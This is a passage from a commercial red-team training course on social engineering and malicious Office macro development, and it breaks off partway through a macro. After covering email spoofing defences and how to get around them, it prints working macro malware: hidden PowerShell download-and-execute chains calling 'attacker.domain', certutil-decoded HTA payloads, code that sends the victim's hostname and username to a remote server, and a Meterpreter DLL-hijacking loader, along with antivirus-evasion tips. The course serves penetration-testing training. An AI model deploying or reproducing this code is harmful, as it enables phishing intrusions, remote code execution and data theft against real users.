You are on page 1of 383

Penetration Testing

eXtreme

Social Engineering Attack


Vectors
S e c t i o n 0 1 | M o d u l e 0 1
© Caendra Inc. 2020
All Rights Reserved
Table of Contents

MODULE 01 | SOCIAL ENGINEERING ATTACK VECTORS


1.1 Introduction 1.4 Phishing Techniques

1.2 Email Delivery & Macro 1.5 Generic Anti-Analysis


Fundamentals
1.6 Evasive C2 Frameworks
1.3 Attack Vector
Development 1.7 Modern Social Engineering
Attack Vectors

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.2


Learning Objectives

By the end of this module, you should have a better


understanding of:
✓ The most effective social engineering attack vectors
✓ Why custom payloads should be preferred during
social engineering

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.3


1.1

Introduction

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.4


1.1 Introduction

Emails are one of the few technologies that almost


everyone, technical and non-technical, is familiar with.

Even the most security-aware organizations whose network


and endpoint security is particularly strong, are usually fairly
lax about email.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.5


1.1 Introduction

There is no doubt that phishing remains the top threat


vector for cyber attacks. Attacking the human factor
continues to be the most attractive and successful path for
gaining an initial foothold.

For this reason, phishing is used prevalently by cyber


criminals as well as nation-state actors.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.6


1.1 Introduction

Recently, there has been a rapid and dramatic shift from


broad spam attacks to spear phishing attacks, which can
cause significant financial, brand and operational damage.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.7


1.1 Introduction

Some quick stats about phishing:


• 32% of confirmed data breaches involved phishing
• 62% of businesses experienced phishing and social
engineering attacks in 2019
• 65% of groups used spear-phishing as the primary
infection vector
• 56% of IT decision-makers believe phishing attacks are
their top security threat
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.8
1.1 Introduction

Sophisticated attackers use spear phishing emails as their


tool of choice since spear phishing attacks open the door
for further infiltration into any network accessible by the
victim.

Those targeted attacks usually contain a variety of


offensive techniques such as ransomware, sender
impersonation, credential phishing and typosquatting.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.9
1.1 Introduction

Spear phishing has been associated with the largest


cyberattacks in recent history including the widely
publicized attacks on JPMorgan Chase & Co., eBay, Target,
Anthem, Sony and various departments within the U.S.
government.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.10


1.1 Introduction

It is of great importance when delivering an advanced


penetration test to have the ability to execute advanced social
engineering attacks. Social engineering attacks have proved to
be highly effective and can be quite stealthy if executed correctly.

Since this course’s goal is to present the Red Team approach,


massive phishing campaigns are out of the equation. In this
course’s context, we will focus on advanced spear phishing
attacks and custom client-side attack vectors.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.11
1.2

Email Delivery &


Macro Fundamentals

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.12


1.2.1 Email delivery fundamentals

There is a common misconception about phishing. This


misconception includes that phishing is relatively easy to
implement and that it doesn’t require a lot of preparation.

This is not the case though. A number of standards exist to


reinforce email delivery security and prevent message
spoofing. Fortunately for a penetration tester, these
standards pose as an obstacle that can be easily bypassed.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.13
1.2.1 Email delivery fundamentals

Their first weakness is that they’re not evenly implemented


across all networks and with little knowledge of their
specifics we can avoid triggering these countermeasures.

Let’s go through them.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.14


1.2.1 Email delivery fundamentals

Sender Policy Framework


When we connect to a mail server and send the MAIL FROM
command, we are claiming the message is from the
address we provide. SMTP does not have a way of verify
this claim.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.15


1.2.1 Email delivery fundamentals

SPF
Sender Policy Framework (or SPF) is a standard to verify this
claim. To take advantage of SPF, the owner of a domain
publishes a list of authorized sending hosts in the Domain Name
System (DNS) records for that domain, in the form of a specially
formatted TXT record.

When SPF is utilized and we are trying to relay a message


through a mail server, the mail server will be in the position of
checking the SPF record of the domain we are stating the
message is from.
http://en.wikipedia.org/wiki/Sender_policy_framework PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.16
1.2.1 Email delivery fundamentals

SPF
If an SPF record exists and our IP address is not included in
the record, there is good chance that the mail server will
reject our message.

SPF does not verify the message’s From header.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.17


1.2.1 Email delivery fundamentals

SPF
For SPF to operate as intended, both the following actions
should be performed.
1. The mail server that receives a message must verify the SPF
record
2. The domain owner must create an SPF record

To lookup the SPF record for a domain, use:


>> dig +short TXT domain.com

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.18


1.2.1 Email delivery fundamentals

SPF
You should see something similar to the following for
microsoft.com.

>> dig +short TXT microsoft.com

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.19


1.2.1 Email delivery fundamentals

DKIM
SPF is not capable of verifying message content. DKIM is
the standard to verify message content. DKIM is
DomainKeys Identified Mail. This mechanism is utilized by
a mail server to sign a message and its contents, so others
can confirm that it originated from that server. For the
message signing process, a DKIM-Signature header is used.

http://en.wikipedia.org/wiki/DKIM PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.20


1.2.1 Email delivery fundamentals

DKIM
The verification process is performed by a server, through
DNS querying the domain’s public key, to identify if the
message originated from that domain or not.

For DKIM to operate as intended, cooperation between the


domain owner and a mail provider must take place, so that
a message lacking the domain’s specific DKIM-Signature
header is marked as something suspicious.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.21
1.2.1 Email delivery fundamentals
DKIM
For example, let’s check Twitter’s DKIM record.
>> dig selector._domainkey.domain.com TXT

To check a domain’s DKIM record, use the following command.


>> dig dkim._domainkey.twitter.com TXT

http://www.dkim.org/info/dkim-faq.html#technical PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.22


1.2.1 Email delivery fundamentals

As we mentioned above, DKIM requires tight cooperation


between all email receivers and senders in order to be
effective.

This is by no means a manageable solution. This is where


DMARC comes in.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.23


1.2.1 Email delivery fundamentals

DMARC
Domain-based Message Authentication, Reporting and
Conformance (or DMARC) is a standard that enables a
domain owner to perform the following:
1. Announce DKIM and SPF usage

2. Advise other mail servers about their actions in case a


message fails a check
http://en.wikipedia.org/wiki/DMARC PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.24
1.2.1 Email delivery fundamentals

DMARC
To check if a domain uses DMARC, use dig to lookup a TXT
record for _dmarc.domain.com.
>> dig +short TXT _dmarc.domain.com

For example, let’s check wordpress.com for DMARC usage.


>> dig +short TXT _dmarc.wordpress.com

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.25


1.2.1 Email delivery fundamentals

DMARC
Of course, DMARC will be effective only in case the
message-receiving server actively checks for the record
and acts on it.

The same applies for SPF and DKIM. If a mail server does
not actively look for and act on these countermeasures, its
users are left exposed to spoofing attacks.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.26
1.2.1 Email delivery fundamentals

Accepted Domains
Without DMARC, SPF, and DKIM it’s difficult to verify
whether a message is a spoofing attempt. That being said,
if an organization has a crystal clear understanding of the
domain it owns, there is another protection mechanism that
can prevent spoofing of a local user. This mechanism is the
Accepted Domains feature in Microsoft Exchange.

https://exchangepedia.com/2008/09/how-to-prevent-annoying-spam-from- PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.27


your-own-domain.html
1.2.1 Email delivery fundamentals

Spam Traps
In the next slide, you can find a list of factors and email
components that are taken into consideration from spam
traps while evaluating a received email.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.28


1.2.1 Email delivery fundamentals

• Domain’s age
• Links pointing to IP addresses
• Link manipulation techniques
• Suspicious (uncommon) attachments
• Broken email content
• Values used that are different to those of the mail
headers
• Existence of a valid and trusted SSL certificate
• Submission of the page to web content filtering sites
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.29
1.2.1 Email delivery fundamentals
Circumventing Defenses
To sum up, if you’re planning to spoof a message from another
domain you should perform the following.
• Check if the domain has an SPF, DKIM, or DMARC record
• Send a message to a non-existing user and analyze the non-
delivery notice message’s headers for critical information
• If spoofing is not an option, try the legitimate approach.
Register a domain that suits your social engineering
campaign’s context and properly set SPF, DKIM, and DMARC
records for your domain.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.30
1.2.2 Macro fundamentals

Macros: Documents Case


Visual Basic for Applications code can be embedded within
Microsoft Office files, with the intention of automating
processes and accessing Windows APIs as well as other
low-level functionality, from inside those files.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.31


1.2.2 Macro fundamentals

This Microsoft feature got abused by computer viruses in


the late 1990s, mainly due its powerful functionality and the
fact that, at the time, Office file macros were automatically
executed by default.

As of MS Office 2003, this behavior was altered. Macros


were no longer executed automatically when an Office file
was loaded and a GUI would pop-up informing users of
macro presence inside the file.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.32
1.2.2 Macro fundamentals

MS Office 2007 took macro security a step further. Macros


could not be embedded at all within the default MS Word
document file. This effort was facilitated by the OfficeOpen
XML standard, based on which Microsoft introduced four
distinct file formats.
File Extension File Type Macros Permitted
DOCX compressed document No
DOTX compressed template No
DOCM compressed document Yes
DOTM compressed template Yes

http://officeopenxml.com/ PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.33


1.2.2 Macro fundamentals

Microsoft Windows uses file extension to determine the


software that will handle the opening of a file once it is
clicked.

By the time Microsoft Office is installed, the above


extensions are associated with it. Subsequently, all of the
above file types will be handled by the Microsoft Office
suite of programs.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.34
1.2.2 Macro fundamentals

Microsoft Word performs file data validation prior to


opening a file. Data validation is performed in the form of
data structure identification, against the OfficeOpen XML
standard.

The validation is actually performed by MS Office’s


WWLIB.DLL component.

http://officeopenxml.com/ PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.35


1.2.2 Macro fundamentals

The file name extension plays no role on this data


validation process. If any error occurs during the data
structure identification, the file being analyzed will not be
opened.

It should be noted that DOCM files containing macros can


be renamed as other file formats by changing the file
extension and still keep their macro executing capabilities.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.36
1.2.2 Macro fundamentals

For example, an RTF file does not support macros, by


design, but a DOCM file renamed to RTF will be handled by
Microsoft Word and will be capable of macro execution.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.37


1.2.2 Macro fundamentals

The same internals and mechanisms apply to all software of the


Microsoft Office Suite (Excel, PowerPoint etc.).

You can run the following commands to see what files are
associated with Office programs and find extensions able to
execute macros (this will not provide the entire list).
>> assoc | findstr /i “word”

>> assoc | findstr /i “excel”

>> assoc | findstr /i “powerp”

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.38


1.2.2 Macro fundamentals

There is an exception regarding the macro fundamentals


we have covered and this is remote templates in DOCX
files.

DOCX files referencing a template that includes macros can


“execute” macros as well.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.39


1.2.2 Macro fundamentals

We can reference a (remote) template by executing the


following steps.

File – Options – Add-ins – Manage: Templates – Go

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.40


1.3

Attack Vector
Development

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.41


1.3 Attack vector development

Although we want to showcase the Red Team perspective


in this course, where the on disk footprint should be kept to
a minimum, to be thorough, we will also cover techniques
where our malware actually touches the disk.

As far as attack vectors are concerned, we will follow the


custom-made and multi-stage approach. This approach will
decrease the chances of being identified by a defense
mechanism and will make the analysts’ work harder.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.42
1.3 Attack vector development
In this section, we will focus on developing our own custom attack vectors to use in
advanced social engineering engagements. Specifically the following subjects will
be covered:
• Custom macro development
• Custom actions
• OLE objects
• Chaining Excel DDE with MS16-032
• Uncommon extensions in social engineering
• Custom JavaScript Backdoor development
• Custom beaconing malware development
• Custom ClickOnce application development

Note: The majority of the covered payloads will be picked by A/V or EDR solutions
due to their constantly-updated signature database. That being said, with proper
obfuscation/customization you should be able to make them go past an
organization’s defenses. In the context of this module, please focus on the
development aspect only! More advanced payloads will be covered later on…
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.43
1.3.1 Custom macro development

Case 1: Macro leveraging file properties to hide its payload


and StdIn to avoid logging

The following macro malware hides its PowerShell based


payload in the file’s properties. Specifically, a PowerShell
command resides in the “Author” property. This macro
malware also hides its PowerShell command’s arguments
from command line logging via invocation with
StdIn.WriteLine.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.44
1.3.1 Custom macro development

Custom Macro
PowerShell is launched with multiple command line
arguments to create as quiet of an execution as possible.

E.g. “-ExecutionPolicy bypass”, no window, no loading local


profiles etc.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.45


1.3.1 Custom macro development
Custom Macro
Notes:
1. It should be noted that AutoOpen is picked up by some AVs
and therefore more creative ways should be employed for
macro execution, such as triggering the macro from a button.

2. Every time you perform modifications either, in your macro or


in the file’s content and save them, the “Author” property will
be deleted. Consequently, you will have to right click on the
file and enter your PowerShell command again.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.46
1.3.1 Custom macro development

Custom Macro

3. Another widely used technique by macro malware authors is to


hide the payload on custom Excel forms or even inside the working
spreadsheet, in an encoded form as we will see later on.

4. It is very possible that the PowerShell command that this macro


malware will execute is going to get picked up by Microsoft’s
Antimalware Scan Interface (AMSI) in Windows 10 environments.

In the following modules we will see ways to bypass AMSI.


https://msdn.microsoft.com/en- PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.47
us/library/windows/desktop/dn889587(v=vs.85).aspx
1.3.1 Custom macro development

Custom Macro

5. Variable c is not used anywhere in the macro. Including


some unused code is a simple obfuscation tactic
though.

You can find the source code on the following link:


https://gist.github.com/anonymous/70939438968194d2b0
f4d5d2cc53c45e
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.48
1.3.1 Custom macro development
Custom Macro
Public Sub PrintDocumentProperties()
Dim oApp As New Excel.Application
Dim oWB As Workbook
Set oWB = ActiveWorkbook

Dim Exec As String


Accessing the file’s properties. Specifically, in this case
#If VBA7 Then
Dim rwxpage As LongPtr, res As LongPtr we are accessing the Author property.
#Else
Dim rwxpage As Long, res As Long
#End If

Dim author As String


author = oWB.BuiltinDocumentProperties("Author") Leveraging Windows Script Host to run a program
Set objWshell = VBA.CreateObject("WScript.Shell") locally, manipulate the contents of the registry, create
Dim c As String a shortcut, or access a system folder. Specifically, in
c = "WwBTAHkAUwB0AGUAbQAuAE4AZQBUI" this case we are creating a WshShell object to assist us
c = c + "AA9ACJAE4AJwAnACkA" in executing PowerShell commands.
Dim objWshell1 As Object
Set objWshell1 = CreateObject("WScript.Shell")
With objWshell1.Exec("powershell.exe -nop -windowstyle hidden -Command -")
.StdIn.WriteLine author
.StdIn.WriteBlankLines 1
.Terminate The PowerShell command’s arguments are hidden
End With
from command line logging leveraging StdIn.WriteLine.
End Sub

https://msdn.microsoft.com/en-us/library/9bbdkx3k(v=vs.84).aspx PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.49


https://msdn.microsoft.com/en-us/library/aew9yb99(v=vs.84).aspx
1.3.1 Custom macro development

Case 2: Using ActiveX controls for macro execution

Most malicious Word documents use the usual reserved


names AutoOpen() and Document_Open() to automatically
run macros. These names seem to be picked up by AVs.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.50


1.3.1 Custom macro development

ActiveX Controls
The following macro malware uses a subroutine coming from an
ActiveX control to execute its code. Specifically, it uses an InkEdit
control to automatically execute its code.

Embedding an ActiveX control in a document is straightforward.

Once the developer tab is enabled (File – Options – Customize


Ribbon), go to the developer tab and then to the Controls section
on the ribbon. You will find a big list of controls under Legacy
Tools – More Options.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.51
1.3.1 Custom macro development

ActiveX Controls
When using ActiveX controls for macro execution, the
victim will see the following warning.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.52


1.3.1 Custom macro development

ActiveX Controls
You can find the source code on the following link:
• https://gist.github.com/anonymous/3e669b249cc1a934
3944a282cf30f0b8

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.53


1.3.1 Custom macro development

ActiveX Controls
There are a large number of procedures related to ActiveX
control objects that are able to automatically run a macro.
You can see some on the following table.

For more information please refer to the following link:


• http://www.greyhathacker.net/?p=948

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.54


1.3.1 Custom macro development
ActiveX Control Subroutine name

ActiveX Controls Microsoft Forms 2.0 Frame


Microsoft Forms 2.0 MultiPage
Frame1_Layout
MultiPage1_Layout
Microsoft ImageComboBox Control,
ImageCombo21_Change
version 6.0
Microsoft InkEdit Control InkEdit1_GotFocus
InkPicture1_Painted
Microsoft InkPicture Control InkPicture1_Painting
InkPicture1_Resize
SystemMonitor1_GotFocus
System Monitor Control
SystemMonitor1_LostFocus
WebBrowser1_BeforeNavigate2
WebBrowser1_BeforeScriptExecute
WebBrowser1_DocumentComplete
WebBrowser1_DownloadBegin
WebBrowser1_DownloadComplete
WebBrowser1_FileDownload
Microsoft Web Browser WebBrowser1_NavigateComplete2
WebBrowser1_NavigateError
WebBrowser1_ProgressChange
WebBrowser1_PropertyChange
WebBrowser1_SetSecureLockIcon
WebBrowser1_StatusTextChange
WebBrowser1_TitleChange

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.55


1.3.1 Custom macro development

ActiveX Controls

Sub InkEdit1_GotFocus()
Run = Shell("cmd.exe /c PowerShell (New-Object
System.Net.WebClient).DownloadFile('https://trusted.domain/file.exe',‘file.exe');Start-Process ‘file.exe'", vbNormalFocus)
End Sub

This is an example of downloading and executing an executable file using cmd.exe and
PowerShell. This technique is quite loud and has a very large on-disk footprint.

Alternatively, for in-memory execution refer to next slide.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.56


1.3.1 Custom macro development
ActiveX Controls
Sub InkEdit1_GotFocus() This macro takes advantage of WMI Scripting Library.
Debugging The code for executing an instance of PowerShell is an
End Sub obfuscated version of the following.
https://msdn.microsoft.com/en-
Public Function Debugging() As Variant us/library/windows/desktop/aa394599(v=vs.85).aspx
Const HIDDEN_WINDOW = 0
strComputer = "."
The condition checks if the macro operates inside a 32-
Set objWMIService = GetObject("winmgmts:\\" & strComputer &
bit or a 64 -bit version of Windows. According to
"\root\cimv2")
MSDN the property [IntPtr]::size is 4 in a 32-bit process
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
and 8 in a 64-bit one.
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Payloads are downloaded using the DownloadString
Set objProcess = GetObject("winmgmts:\\" & strComputer &
"\root\cimv2:Win32_Process") method of the WebClient class. The string downloaded
objProcess.Create "powe" & "rshell.e" & "xe" & " -ExecutionPolicy is then piped with iex a.k.a. invoke-expression.
Bypass -WindowStyle Hidden -noprofile -noexit -c if ([IntPtr]::size -eq 4)
{(new-object Hiding payloads on trusted domains is an easy way to
Net.WebClient).DownloadString('https://attacker.domain/stager1.ps1') | iex add a degree of stealthiness to our malware. This
} else {(new-object approach may prove effective for AV/HIPS/NIDS
Net.WebClient).DownloadString('https://attacker.domain/stager2.ps1') | evasion if we also take into consideration that the
iex}" payload execution is taking place entirely on
End Function memory.
https://technet.microsoft.com/en-us/library/ee156554.aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/aa394599(v=vs.85).aspx PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.57
https://msdn.microsoft.com/en-us/library/system.intptr.size(v=vs.110).aspx
1.3.1 Custom macro development

ActiveX Controls
The source code of this implementation can be found in the
following link:
• https://gist.github.com/anonymous/0e1abbf936438029
4b5d9004e1d68213

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.58


1.3.1 Custom macro development

Case 3: The classic download and execute macro, with a


twist

The following macro malware leverages Windows certutil.


It first drops a base64 encoded HTA file and then uses
certutil to decode and execute it.

https://technet.microsoft.com/en-us/library/cc732443(v=ws.11).aspx PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.59


1.3.1 Custom macro development

Download and Execute


HTA files have a good record of evading defenses. They
can be easily obfuscated and can be used in numerous
attack scenarios. In comparison, dropping and executing an
EXE file is a technique more prone to detection.

*To return to slide 142, click HERE. PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.60
1.3.1 Custom macro development

Download and Execute


You can find the source code on the following link:

https://gist.github.com/anonymous/3e7efa917632078693f
9c8fdbb7cc756

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.61


1.3.1 Custom macro development

Download and Execute


Metasploit, PowerShell Empire, SET, Unicorn and numerous
other frameworks provide the capability of exporting their
stagers in the form of HTA files.

You can also develop your own custom HTA file.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.62


1.3.1 Custom macro development

Download and Execute


For example, using PowerShell Empire (a PowerShell post-exploitation
agent).
1. Setup a listener
2. Execute “usestager hta listener’s name” and “execute”
3. Base64 encode the output and save it as a CRT file

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.63


1.3.1 Custom macro development

Download and Execute

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.64


1.3.1 Custom macro development
Download and Execute
This macro takes advantage of Microsoft XML
Sub DownloadAndExec()
Core Services (MSXML). Specifically, it uses
ServerXMLHTTP directly to fetch the encoded
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
payload.
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "https://trusted.domain/encoded.crt", False
xHttp.Send The encoded payload (Base64 encoded HTA
file saved as CRT) is dropped on disk.
With bStrm
.Type = 1 '//binary
Certutil is utilized to decode the encoded
.Open
payload (Base64 encoded HTA file saved as
.write xHttp.responseBody
CRT) and throw it as output in an HTA format.
.savetofile "encoded.crt", 2 '//overwrite
Finally, cmd.exe is used to trigger the HTA
End With
payload.

Shell ("cmd /c certutil -decode encoded.crt decoded.hta & start


decoded.hta")

End Sub

https://msdn.microsoft.com/en-us/library/ms763742(v=vs.85).aspx PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.65


https://msdn.microsoft.com/en-us/library/ms766431(v=vs.85).aspx
1.3.1 Custom macro development

Case 4: Macro malware that retrieves the OS (Windows or


OSX) and executes the appropriate payload

The following macro malware is context-aware, since it


identifies the OS in which it runs.

It understands whether it is running on a Windows or OSX


environment and executes the appropriate payload to
compromise its target.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.66
1.3.1 Custom macro development

OS-aware macro
In addition, it retrieves both the victim’s hostname and
username, it base64 encodes them and finally sends them
back to a remote server.

The malware’s critical functionality can be found below. For


the entire source code please refer to the following link.
• https://gist.github.com/anonymous/db37338ba9c59336
a0ee3d324d152bc9
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.67
1.3.1 Custom macro development

OS-aware macro
Notes:
1. To create an OSX specific payload to use in a macro-
based attack you can use Project Empyre.

2. Office 2016 on OSX properly sandboxes execution, but


there are still interesting things to do when your agents
call back.
https://github.com/EmpireProject/EmPyre PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.68
1.3.1 Custom macro development
OS-aware macro
This macro takes advantage of Microsoft XML
Private Sub Workbook_Open() Core Services (MSXML) to fetch payloads and
result = Application.OperatingSystem exfiltrate data on Windows environments and
position = InStr(result, "Macintosh")
urllib2 on OSX environments.
If position = 0 Then
' Using windows'
'MsgBox "Microsoft Excel is using Windows " & position
hostname = Environ$("computername")
username = Environ$("username")
'MsgBox "test: " & hostname & " " & username
Payloads are executed using PowerShell on
Dim sURL As String, sResult As String
Dim oResult As Variant, oData As Variant, R As Long, C As Long Windows environments as opposed to OSX
text = hostname & " " & username environments, where Python is used.
encoded = Base64EncodeString(text)
sURL = "http://XX.XX.XX.XX:80/" & encoded
'MsgBox "URL: " & sURL
sResult = GetHTTPResult(sURL)
sResult = GetHTTPResult("http://attacker.domain/payload_windows")
'Debug.Print sResult
command = "powershell.exe -NoP -sta -NonI -W Hidden -Enc " & sResult
This macro also performs minor information
'Debug.Print command
result = Shell(command)
gathering. The information gathered are sent
Else
to an attacker controlled server, using the
aURL = "http://attacker.domain/"
result = system("/usr/bin/python -c 'import socket,os,base64,urllib2;urllib2.urlopen(" & Chr(34) & aURL & Chr(34)
communication mechanisms we described
& " + base64.b64encode(socket.gethostname() + " & Chr(34) & " " & Chr(34) & " + os.environ[" & Chr(34) & "USER" &
Chr(34) & "]))'") above.
Debug.Print result
result = system("/usr/bin/python -c 'import socket,os,base64,urllib2;exec(urllib2.urlopen(" & Chr(34) &
"http://attacker.domain/payload_osx" & Chr(34) & ").read())' &")

End If

End Sub

https://msdn.microsoft.com/en-us/library/ms763742(v=vs.85).aspx PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.69


https://docs.python.org/2/howto/urllib2.html
1.3.1 Custom macro development

Case 5: RTF + Signed binary + DLL hijacking + Custom MSF


loader =

The following macro malware combines RTF’s default


behavior of dropping embedded OLE objects into the TEMP
directory with a DLL hijacking vulnerability of a trusted (and
signed) executable (Kaspersky’s kavremover.exe) and a
custom made Meterpreter loader.
*To return to slide 159, click HERE. **To return to slide 80, click HERE. PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.70
https://attack.mitre.org/wiki/Technique/T1038
1.3.1 Custom macro development

RTF + Signed binary + DLL hijacking + Custom MSF loader


RTF files containing embedded OLE objects showcase an
interesting behavior. Once they are opened, they automatically
drop the embedded OLE objects into the TEMP directory. So, how
can this be useful for a Red Team member?

If we could find a trusted (and signed) binary that is vulnerable to


DLL hijacking, we could embed both the trusted binary and the
malicious DLL in an RTF file. This way, once the RTF is opened
both of them will be dropped in the same directory (the TEMP
directory).
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.71
1.3.1 Custom macro development

RTF + Signed binary + DLL hijacking + Custom MSF loader


DLL hijacking requires that the malicious DLL, which is
going to hijack the loading of the legitimate one, should be
in the same directory as the executable having the DLL
hijacking vulnerability.

From inside a macro we can automate this procedure,


launch the vulnerable executable and subsequently trigger
the DLL hijacking vulnerability. You may recall that RTF files
do not support macros, but bear with me for a minute...
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.72
1.3.1 Custom macro development

RTF + Signed binary + DLL hijacking + Custom MSF loader


It should be noted here that since the on-disk footprint of this
attack is quite large, we should make sure that our malicious DLL
will be able to evade defenses. This is why, for this attack, we are
going to create a custom meterpreter loader.

The trusted (and signed) executable we are going to use is an


older version of Kaspersky’s kavremover.exe, which is known to
be vulnerable to DLL hijacking. Let’s see how can we chain all
this into a single macro attack.
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.73
1.3.1 Custom macro development

RTF + Signed binary + DLL hijacking + Custom MSF loader


Let’s start with our custom meterpreter loader.

We are going to modify Rafael Mudge’s Metasploit loader


so that it can hijack kavremover.exe’s legitimate DLL and
provide us with a meterpreter shell.

https://github.com/rsmudge/metasploit-loader/blob/master/src/main.c PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.74


1.3.1 Custom macro development

RTF + Signed binary + DLL hijacking + Custom MSF loader


Following the procedure described in the below blog posts
we can identify that we need to change function main() to
the following.
• https://astr0baby.wordpress.com/2014/02/12/custom-
meterpreter-loader-dll/

• https://astr0baby.wordpress.com/2014/02/13/customis
ing-meterpreter-loader-dll-part-2/
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.75
1.3.1 Custom macro development
RTF + Signed binary + DLL hijacking + Custom MSF loader
int MsiGetProductInfoA(int argc, char * argv[]) {
FreeConsole();
ULONG32 size;
char * buffer;
void (*function)();
winsock_init();
SOCKET my_socket = wsconnect(server, atoi(serverp)); There are two functions in msi.dll
int count = recv(my_socket, (char *)&size, 4, 0); (kavremover.exe’s DLL that is being
if (count != 4 || size <= 0) searched during execution) called
punt(my_socket, "error lenght\n"); GetInfo and MsiGetProductInfoA. We
buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE); choose MsiGetProductInfoA.
if (buffer == NULL)
punt(my_socket, "error in buf\n");
buffer[0] = 0xBF;
memcpy(buffer + 1, &my_socket, 4);
count = recv_all(my_socket, buffer + 5, size);
function = (void (*)())buffer;
function();
return 0;
}

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.76


1.3.1 Custom macro development

RTF + Signed binary + DLL hijacking + Custom MSF loader


Now, since we know that RTF files do not support macros,
let’s see how we can automate the whole attack from a
macro-supporting file.

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.77


1.3.1 Custom macro development
RTF + Signed binary + DLL hijacking + Custom MSF loader
Public Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As LongPtr) 'For 64
Bit Systems Saving the current document as an RTF file into the
TEMP directory.
Sub AutoOpen()
Dim executable As String
When saving the current document as an RTF file, this
temp_path = Environ("TEMP") + "\"
RTF file is automatically opened. The problem with
this automatic opening is that the embedded OLE
RTF_EXTENSION = ".rtf"
qwerty = temp_path + “save_as_rtf" + RTF_EXTENSION objects are not dropped into the TEMP directory. So,
we have to programmatically access and close the
Selection.WholeStory created RTF file.
Selection.Copy
Documents.Add Template:="Normal", NewTemplate:=False, DocumentType:=0
Selection.PasteAndFormat (wdPasteDefault) Programmatically re-opening the created RTF file (this
ActiveDocument.SaveAs FileName:=qwerty, FileFormat:= _
